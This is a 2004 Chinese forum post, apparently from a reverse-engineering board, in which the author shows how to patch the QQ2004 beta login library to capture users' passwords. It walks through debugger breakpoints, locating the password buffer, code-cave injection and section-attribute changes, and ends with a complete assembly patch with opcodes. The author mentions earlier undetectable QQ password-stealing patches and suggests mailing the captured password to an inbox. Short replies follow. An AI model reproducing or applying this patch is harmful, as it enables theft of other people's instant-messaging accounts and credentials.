首页
社区
课程
招聘
发了3次才发上来
发表于: 2004-6-2 19:20 4637

发了3次才发上来

nbw 活跃值
24
2004-6-2 19:20
4637
我水平不高,请大家包涵。最近快毕业了 ,忙中。。。

                 QQ2004测试版密码获取演示

作者:nbw[NE365]

nboy.cnwlt.com

www.vxer.com

QQ  :343538175   

       以前我做过盗取QQ2003密码的补丁。利用这种补丁修改QQ后,盗取密码完全由QQ自身完成。基本不占用资源,不会被查杀。从理论上来讲大部分需要填写密码的游戏或者程序都可以采用这种方法盗取号码。现在QQ2004测试版出来了,其安全性比以往有了很大加强。其号码的获取和QQ2003基本一样,但是密码的处理更为复杂。下面我就说说如何获取其密码。

这里只是一个演示,当用户输入密码登陆后,会弹出对话框把用户输入的密码显示出来。从理论上来说,做到这一步,便意味着可以随便处理这个密码(比如发送到某个邮箱,嘿嘿),我现在很忙,写东西也没条理这篇文章更像一篇笔记,如果你觉得占用了你的时间,我实在很不好意思。

获得保存号码的地方:

   如果输入的号码位数小于5,则提示错误.可以下命令bpx messageboxa,再Pmodule返回程序

领空,向上查看,很容易可以得到获取号码的地点如下:

0167:01f63d5d       call  ....(当然这个地址是变化的.)

返回的eax为号码地址.且领空为Loginctrl

下面有个函数:QQHELPERDLL!?CheckQQUinValid@@YAHVCString@@@Z(看看命名,范了兵家大忌!),用来判定号码的合法性,进去以后可以看到:

:1000D8D6 8B4508                  mov eax, dword ptr [ebp+08]   ;eax-->号码

:1000D8D9 8B40F8                  mov eax, dword ptr [eax-08]    ;eax-->密码

:1000D8DC 83F805                  cmp eax, 00000005          ;比较号码长度是否大于5

:1000D8DF 7D05                    jge 1000D8E6

领空为: QQHELPERDLL,也就是代码在这个文件中.去这个文件查找上面的代码,便可以找到.由于在TRW中看到的地址并不是个文件中的RVA(因为是动态调用),所以查找这个地方应该搜索特征码,就是利用Search命令搜索上面这几行代码或者他们的Opcode.最好用WinHex打开QQ进程中的Loginctrl.dll领空来搜索.

保存密码处:

    找到了号码存放位置以后,填写号码和密码点下一步(最好填5位以下的密码,这样就不用进入下一个界面).在上面的mov eax, dword ptr [ebp+08]处拦截下来.下命令d eax,看到自己的号码.向下(或者向上)不远便是自己输入的密码.这个存放密码的位置是变化的.比如说这次是在0030:008FB720处.下命令bpm 0030:008FB720 w .再次输入登录,被拦截.按F10,慢慢向下走,过了好几个call,直到LOGINCTRL的领空.看看上面的函数,为:

:10004C42 FF7510                  push [ebp+10]

:10004C45 FF750C                  push [ebp+0C]

:10004C48 FF7508                  push [ebp+08]

* Reference To: MFC42.Ordinal:062A, Ord:062Ah

                                  |

:10004C4B E8E8110000              Call 10005E38

:10004C50 8B4DF0                  mov ecx, dword ptr [ebp-10]

在Call 10005E38上下断点,会发现即使不操作QQ也会频繁中断在这个地点.对我们来说,这是多么不幸啊! 所以,再次打开断点bpm 0030:008FB720 w ,重新登录,被中断,像刚才一样F10,不断向下走,观察程序领空,当然会再次看到Call 10005E38,不过不要管他,继续向下走.不停看啊看啊,每次过了一个ret,如果发现领空不是系统领空(就是不是什么User或者kernel32)就向上看看上面的call,最后到了:0167:01D426DC  E855240000   call  MFC42!ord_00000942  ,这里的领空仍然是LOGINCTRL,利用特征码,在W32Dasm中查找"E855240000",具体就是:

:100026CE 8D8648050000            lea eax, dword ptr [esi+00000548]

* Possible Reference to Dialog: DialogID_01C2, CONTROL_ID:00B4, ""

                                  |

:100026D4 BBB4000000              mov ebx, 000000B4

:100026D9 50                      push eax             ;存放密码的地址

:100026DA 53                      push ebx

:100026DB 57                      push edi

* Reference To: MFC42.Ordinal:0942, Ord:0942h

                                  |

:100026DC E855240000              Call 10004B36           ;**********关键函数

                                                

:100026E1 8D864C050000            lea eax, dword ptr [esi+0000054C]

注意上面的CONTROL_ID:00B4,这里或许就是密码框的ID.

    对于每一个重要的函数,分析其参数无疑是非常明智的.看看上面这个函数,有三个参数eax,ebx,edi,多跟踪几次便会发现,eax中为存放密码的地址,函数的返回值是密码长度.但是函数好像没有把密码长度存放起来(lea eax, dword ptr [esi+0000054C]),或许是密码验证在函数中全部完成,跳出函数后不再需要?(猜想)

    eax在函数入口时作为密码存放地址,函数结束时为密码长度.而函数领空是系统领空,无法对其进行修改.所以,可以在入栈的时候跳转到我们的代码,保存eax的值,在函数结束的时候再次跳转,再次保存eax以获得密码长度.这样2次SMC,肯定会很麻烦.有兴趣可以试验一下,练手嘛.

    幸运的是入栈操作的上方有:100026CE  lea eax, dword ptr [esi+00000548] ,观察一下[esi+00000548]的值,发现在函数执行期间未曾发生变化.所以可以从[esi+00000548]获得密码存放地址.

    不幸的是,这个函数虽然未曾被频繁调用,但是在登录的时候会被调用n次,这样假如你要保存密码,就会n次保存。虽然不碍事,就是麻烦些,并且这些数据中只有一个是真正的密码.但是我还有余力对付这些LG,so,整理一下思路,后面再说如何fuck it!

    故此,我们得到以下结论:

    当:100026DC E855240000   Call 10004B36  执行完毕后(也就是在:100026E1处),[esi+00000548]中存放的是密码的地址,eax中是密码长度.

获取密码演示:(每当用户登陆,便弹出对话框显示用户输入的密码)

用我的剩余空间分析器,分析一下LOGINCTRL文件的剩余空间:

名称     RVA     OA        尺寸D   可写否

   .text  0000681a  0000681a   2022      否

  .rdata  00009238  00009238   3528      否

   .data  0000b414  0000b414  -1044      可

   .rsrc  00017568  00016568   2712      否

  .reloc  00018b04  00017b04   1276      否

.text段不错.有2022字节空间.试验一下也可以正常载入,用Pedit把这个区段的属性改为可写可读(不然的话无法在这个区段设置可写变量)

打开LOGINCTRL文件,修改:

:100026DC E855240000              Call 10004B36

:100026E1 8D864C050000            lea eax, dword ptr [esi+0000054C]

:100026E7 50                       push eax

:100026E8 6844010000               push 00000144

为:

:100026DC E855240000              Call 10004B36

:100026E1                                         jmp  6830         ;跳转到剩余空间.

:100026E7                         push eax

少了:100026E1 8D864C050000            lea eax, dword ptr [esi+0000054C] .记下来,以后补上.

    由于这个关键函数在很多时候都被调用,因此需要判断是不是应该获得密码的时候,我这里通过判断eax和[4D6FAC]来判断究竟是不是应该获取密码,具体算法如下:

       if  eax==00  then

              ;程序正在启动,跳出

              ;这种判断程序启动的方法,存在一个问题,就是如果用户的密码本身为空,我们就采集不到了,因为那样的话也会导致eax=0

       else

           if     [4D6FAC]=00 then

              ;获取密码

                     [4D6FAC]=01

              else  

                   [4D6FAC]=00

           endif

       endif

    这里的[4D6FAC]是标志位.选这个地址的原因稍候再谈.

动态内存地址的查找:

    由于QQ2004的特殊处理,导致一些代码执行的时候所在的内存地址是变化的.就比如上面的关键函数,它的地址就是变化的.这样无疑加强了安全性,也很明显给我们提出了难度,因为好不容易找到的关键地址下次就发生了变化,让人很恼火.

    好在地址的变化并不频繁.几天(或许一次开机)才变化一次.这样就可以很容易找到我们需要的代码的地址.比如要查找:100026DC E855240000    Call 10004B36   在内存中的地址.可以用WinHex打开QQ进程中的Loginctrl.dll域.搜索这个函数的代码,也就是"E855240000",注意用Hex模式搜索,并且不要用小尾方式,因为这是code段,不是data段.

    找到后,比如说是01D36835处的数据为E855240000 ,那么下命令bpx  0167:01D36835就可以拦截这个函数了.

标志位地址确定(上面的[4D6FAC]):

    上面说过,LOGINCTRL被加载了以后,其内存地址(VA)并不是固定的, 按道理来说对于这种情况可以采用重定位技术,动态获取当前eip,不过这里的LoginCtrl毕竟是dll,我估计不行,所以也没试验.有兴趣的朋友可以看看.

所以标志位就不要在这个文件中寻找.这样可以去QQ主文件查找.需要找一个有可写属性的多余空间.4个字节大小就够(其实一个就够).

    查看一下QQ.exe的节区属性,只有.data段可写.所以在这一段最后找一块地方.这个地方需要可以正常加载,并且不会被使用. .rsrc(D7000处)区段上面有一段空白处.在这里填上全1,然后打开QQ查看一下,发现有的地方不是1,说明被使用了.有的地方是1,说明没有被使用(至少登陆的时候).其中Dword ptr [4D6FAC]就不错.不要忘了把这地方填入的1再改为0.

   

变量组织:

对话框标题: [1D368B0]=C3DCC2EBCAC73A(密码是:)

标记:      [4D6FAC] =00       ;获取密码

       [4D6FAC] =01       ;不获取密码

新添加代码:

6830(OA)

6830:      nop

       nop

       nop

       pushad

       cmp eax,000

       je     @1

       mov ecx,[4D6FAC]

       cmp ecx,01

       je     @1

       push       00

       push       1D368B0

       mov ebx,[esi+548]         ;ebx-->密码地址

       push       ebx

       push       00

       call  dowrd     [004A49E0]    ;messageboxa

                                   ;请注意这里采用的是QQ.exe中的引入函数,

                                   ;而不是LOGINCTRL中的引入函数.

       xor  eax,eax

       inc   eax

       mov [4D6FAC],eax

       jmp  @2

@1:

       xor  eax,eax

       mov [4D6FAC],eax

@2:

       popad

       lea eax, dword ptr [esi+0000054C]

       jmp 26e7

具体代码见附录

   这样当输入密码和号码,点击登陆,便可以弹出对话框显示密码,由于该对话框不在QQ.exe领空,所以这里对话框会显示在主界面下面,你可以把主界面挪动一下就可以看到该对话框.

附录:

新添加的代码:

:10006830 90                      nop

:10006831 60                      pushad

:10006832 83F800                  cmp eax, 00000000

:10006835 7430                    je 10006867

:10006837 8B0DAC6F4D00            mov ecx, dword ptr [004D6FAC]

:1000683D 83F901                  cmp ecx, 00000001

:10006840 7425                    je 10006867

:10006842 6A00                    push 00000000

:10006844 68B069D301              push 01D369B0

:10006849 8B9E48050000            mov ebx, dword ptr [esi+00000548]

:1000684F 53                      push ebx

:10006850 6A00                    push 00000000

:10006852 90                      nop

:10006853 90                      nop

:10006854 FF15E0494A00            call dword ptr [004A49E0]

:1000685A 33C0                    xor eax, eax

:1000685C 40                      inc eax

:1000685D A3AC6F4D00              mov dword ptr [004D6FAC], eax

:10006862 E907000000              jmp 1000686E

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:

|:10006835(C), :10006840(C)

|

:10006867 33C0                    xor eax, eax

:10006869 A3AC6F4D00              mov dword ptr [004D6FAC], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:

|:10006862(U)

|

:1000686E 61                      popad

:1000686F 8D864C050000            lea eax, dword ptr [esi+0000054C]

:10006875 E96DBEFFFF              jmp 100026E7点击下载:附件!

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 6
支持
分享
最新回复 (3)
雪    币: 193
活跃值: (1389)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
2
不错!顶!!!!!
2004-6-4 08:36
0
雪    币: 291
活跃值: (400)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
3
严重担心我们QQ密码安全问题
2004-6-4 11:44
0
雪    币: 339
活跃值: (1510)
能力值: ( LV13,RANK:970 )
在线值:
发帖
回帖
粉丝
4

不会吧?你搞密码保护不可以么?
2004-6-4 16:26
0
游客
登录 | 注册 方可回帖
返回
//